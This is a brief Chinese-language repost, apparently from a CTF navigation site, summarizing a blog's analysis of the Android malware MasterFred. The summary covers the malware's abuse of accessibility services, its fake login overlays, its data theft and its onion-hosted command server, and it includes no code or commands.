在这篇博客中,我们遇到了一种快速适应的数字威胁。使用Android辅助功能服务,MasterFred侵犯隐私,窃取数据和入侵网络。从财务信息到社交账户,它的技能令人印象深刻。隐藏的HTML覆盖和棘手的登录只是其武器库的一部分。它甚至可以根据您正在执行的操作和正在运行的应用程序进行调整。此外,它还秘密地将我们的信息发送到一个神秘的洋葱 URL,充当隐藏的指挥中心。了解弗雷德大师提醒我们保持谨慎和知情。有了这些知识,我们就可以更好地抵御这些先进的数字危险。

原文始发于8ksec:Mobile Malware Analysis Part 2 – MasterFred

版权声明:admin 发表于 2023年8月30日 上午9:31。
转载请注明:Mobile Malware Analysis Part 2 – MasterFred | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...